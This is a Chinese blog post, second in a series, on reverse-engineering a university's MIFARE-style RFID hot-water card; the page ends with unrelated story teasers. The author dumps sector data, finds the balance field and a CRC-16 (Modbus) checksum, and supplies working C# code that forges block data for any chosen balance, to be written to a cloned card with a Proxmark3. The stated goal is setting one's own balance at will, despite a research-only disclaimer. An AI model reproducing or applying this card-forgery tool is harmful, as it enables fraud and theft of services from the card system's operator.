RFID小白的校园卡破解之路2--水卡数据分析

本文只作技术交流分享研究之用,请勿用于非法用途,否则后果自负。
上一篇文章是关于破解校园卡密码时发生的琐事的:https://www.jianshu.com/p/5eff935a5e9f

02扇区数据分析

上一篇文章结束,卡片复制也完成了。
但是,仅限于复制卡岂不是很无趣吗,我们得知道扇区里面的数据代表什么含义,随意控制余额才行啊。
根据之前的判断,02扇区是存储了洗澡热水的数据,我们来观察一下

2 扇区
0区块:00 02 3A DE 06 85 11 11 11 00 00 00 00 10 15 F5
1区块:00 05 00 00 13 E5 00 00 00 00 00 00 00 00 8A AB
2区块:00 05 00 00 13 E8 00 00 00 00 00 00 00 00 86 3A

注:学校的这个水卡机是用水量对应的金额每到0.03元进行一次扣费。另外只要刷一次就扣0.03元,不管有没有出水

0块在几次刷卡前后都未发生变化,暂时不考虑
13E5和13E8两个数值不同而相似,首先怀疑它
转为10进制分别为5093和5096
而卡上正好剩余了50.93元,于是这个数值的作用就显而易见了,另外一条为上一次交易的数据

复制一张卡去刷几次看看,记录下来

50.93
0005000013E50000000000000000A00A
0005000013E80000000000000000F89A

50.87
0005000013DF00000000000000008AAB
0005000013E20000000000000000863A

50.84
0005000013DF00000000000000008AAB
0005000013DC00000000000000009E5B

50.81
0005000013D90000000000000000A10B
0005000013DC00000000000000009E5B

40.91
000500000FFB0000000000000000E000
000500000FFE0000000000000000DF50

两条数据相互覆盖,没有先后关系

前面有一个5一直未发生改变,上次充值前是4,可能是充值一次+1,暂时不管它

所以重点就落在最后的四位上了
每次刷卡后这四位都会改变,且直接修改金额后无法读卡,所以这四位就是校验码

将数据刷回50.93的那条,重复刷卡-读卡步骤,得出的校验码和前一次是相同的,这说明它们之间存在一一对应关系
两次刷卡间隔很短,但校验码差别较大,可以排除时间码、整数与小数相加或者一些倒位操作的可能


于是现在的问题就在如何找到这个校验算法了,能不能找到还是得看人品
首先试试下面软件的各种算法,都没有得出理想的结果

算法工具集

既然可以用MD5、SHA-1校验,也可以用平时在winrar上经常看见的CRC32校验算法
winrar上的CRC32

于是我找到了这个在线计算CRC的网站
https://www.lammertbies.nl/comm/info/crc-calculation.html
这里的算法多用于串口通信的数据校验,我尝试把金额和校验位组合计算CRC16

CRC校验比对

意外地发现CRC-16CRC-16(Modbus)两种校验码是一致的!
如果加上前面的充值计数呢
CRC16同样是一致的,而CRC16(Modbus)变成了0!

那么至此,已经可以说水卡的破解已经完成
因为只要根据修改后的数据逆向算出校验码就可以通过机器的验证了

出现为0的校验码


ModBus 通信协议的 CRC ( 冗余循环校验码含2个字节, 即 16 位二进制数。CRC 码由发送设备计算, 放置于所发送信息帧的尾部。接收信息设备再重新计算所接收信息 (除 CRC 之外的部分)的 CRC, 比较计算得到的 CRC 是否与接收到CRC相符, 如果两者不相符, 则认为数据出错。
来源及具体原理:https://www.cnblogs.com/jungle1989/p/6372527.html

简单粗暴的方法就是穷举校验码,一共2^16即65536种情况,然后进行CRC校验,比对结果为0就是最终的校验码(其实是没找到反向计算的算法)
C#由16进制算CRC16 modbus:https://www.cnblogs.com/oukunqing/p/5820640.html


输入一个数比如50.93
输出的0005000013e50000000000000000a00a后直接填到pm3里写入就好了

C#代码,本着精简的原则没有对数据进行检查(其实是懒= =):

using System;
using System.Text;
class Program {
    static void Main(string[] args) {
        string[] str = Console.ReadLine().Split('.');
        string hexMoney = Convert.ToString(Convert.ToInt32(str[0] + str[1]), 16).PadLeft(4, '0'), str0 = "00050000";
        int i = 0;
        while(i<0xFFFF && CRC16(str0+hexMoney+"0000000000000000"+Convert.ToString(i,16))!="0000") i++;
        Console.WriteLine(str0+hexMoney+"0000000000000000"+Convert.ToString(i,16));
        Console.ReadLine();
    }
    
    public static string CRC16(string str) {
        StringBuilder s = new StringBuilder();
        foreach (short c in str.ToCharArray())
            if (c <= 0 || c >= 127) s.Append(c.ToString("X4"));
            else s.Append((char)c);
        string hex = s.ToString();
        byte[] result = new byte[hex.Length / 2];
        for (int i = 0, c = result.Length; i < c; i++)
            result[i] = Convert.ToByte(hex.Substring(i * 2, 2), 16);
        ushort crc = 0xFFFF;
        for (int i = 0; i < result.Length; i++) {
            crc = (ushort)(crc ^ (result[i]));
            for (int j = 0; j < 8; j++)
                crc = (crc&1)!=0?(ushort)((crc>>1)^0xA001):(ushort)(crc>>1);
        }
        byte hi = (byte)((crc & 0xFF00) >> 8);
        byte lo = (byte)(crc & 0x00FF);
        return Convert.ToString(hi*0x100+lo, 16).ToUpper().PadLeft(4, '0');
    }
}

于是就可以猥琐欲为了


以后再找找开水卡是怎样校验的
饭卡是联网的,别想了

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 206,311评论 6 481
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 88,339评论 2 382
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 152,671评论 0 342
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 55,252评论 1 279
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 64,253评论 5 371
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 49,031评论 1 285
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,340评论 3 399
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,973评论 0 259
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 43,466评论 1 300
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,937评论 2 323
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,039评论 1 333
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,701评论 4 323
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 39,254评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,259评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,485评论 1 262
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 45,497评论 2 354
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,786评论 2 345

推荐阅读更多精彩内容